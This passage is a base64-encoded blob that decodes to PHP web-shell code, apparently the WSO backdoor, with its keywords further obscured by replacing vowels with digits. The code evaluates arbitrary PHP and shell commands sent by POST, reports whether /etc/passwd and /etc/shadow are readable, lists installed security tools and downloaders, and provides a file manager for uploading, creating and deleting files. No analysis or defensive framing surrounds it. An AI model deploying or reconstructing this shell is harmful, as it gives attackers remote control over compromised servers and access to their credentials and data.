xcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCg0KCSRkcjR2NXMgPSAiIjsNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KCQlmMnI1MWNoKHIxbmc1KCdjJywneicpIDFzICRkcjR2NSkNCgkJNGYoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQoJCQkkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7DQoJfQ0KCTVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj48ZjJudCBjMmwycj0icjVkIiA+VW4xbTU6PGJyPlVzNXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6PC9mMm50PicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj48ZjJudCBjMmwycj0icjVkIiA+RHI0djVzOjwvZjJudD4nOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPkdyMjNwOjwvZjJudD48L3NwMW4+ICcgLiAkZzRkIC4gJyAoICcgLiAkZ3IyM3AgLiAnICk8YnI+JyAuIEBwaHB2NXJzNDJuKCkgLiAnIDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5TMWY1IG0yZDU6PC9mMm50Pjwvc3Axbj4gJyAuICgkR0xPQkFMU1snczFmNV9tMmQ1J10/JzxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+RDF0NXQ0bTU6PC9mMm50Pjwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiB3czJWNDV3UzR6NSgkdDJ0MWxTcDFjNSkgLiAnIDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5GcjU1OjwvZjJudD48L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCgkkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9JyNhaWZmMDAnPihXcjR0NTFibDUpPC9mMm50PiI6IiA8ZjJudCBjMmwycj1yNWQ+KE4ydCB3cjR0MWJsNSk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCgk8dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5DaDFuZzUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQoJCTxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQoJJDIzdCA9ICcnOw0KCTRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQlANXg1YygkNG4sJDIzdCk7DQoJCSQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHAxc3N0aHIzKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAc3lzdDVtKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCgl9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQoJCSQyM3QgPSAiIjsNCgkJd2g0bDUoIUBmNTJmKCRmKSkNCgkJCSQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQoJCXBjbDJzNSgkZik7DQoJfQ0KCXI1dDNybiAkMjN0Ow0KfQ0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCgk0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQoJNWxzNTRmKCRzID49IDYwdThpN2UpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQoJNWxzNTRmKCRzID49IDYwYXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQoJNWxzNQ0KCQlyNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KCTRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCgk1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KCTVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQoJNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCgk1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KCTVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQoJNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCgk1bHM1ICQ0ID0gJzMnOw0KCSQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KCXI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KCWYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KCQkkZGggID0gMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAJCSRmNGw1c1tdID0gJGY0bDVuMW01Ow0KCQlyNXQzcm4gJGY0bDVzOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoNCgl3czJTNWNQMXIxbSgnUzVydjVyIHMyZnR3MXI1JywgQGc1dDVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMXAxY2g1X2c1dF9tMmQzbDVzJykpDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7DQoJd3MyUzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KCXdzMlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQoJJHQ1bXA9MXJyMXkoKTsNCgk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KCQkkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJNU1NRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk9yMWNsNSI7DQoJd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQoJNWNoMiAnPGJyPic7DQoNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCgkJd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCgkJd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KCQk0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQoJCQk1Y2gyICc8YnI+JzsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQoJCQkkdDVtcD0xcnIxeSgpOw0KCQkJZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCTVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQoJCQl3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQoJCX0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGg2PlBIUCA0bmYyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gZjFsczU7DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KCX0NCgk1Y2gyICc8L3ByNT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c00xbigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxd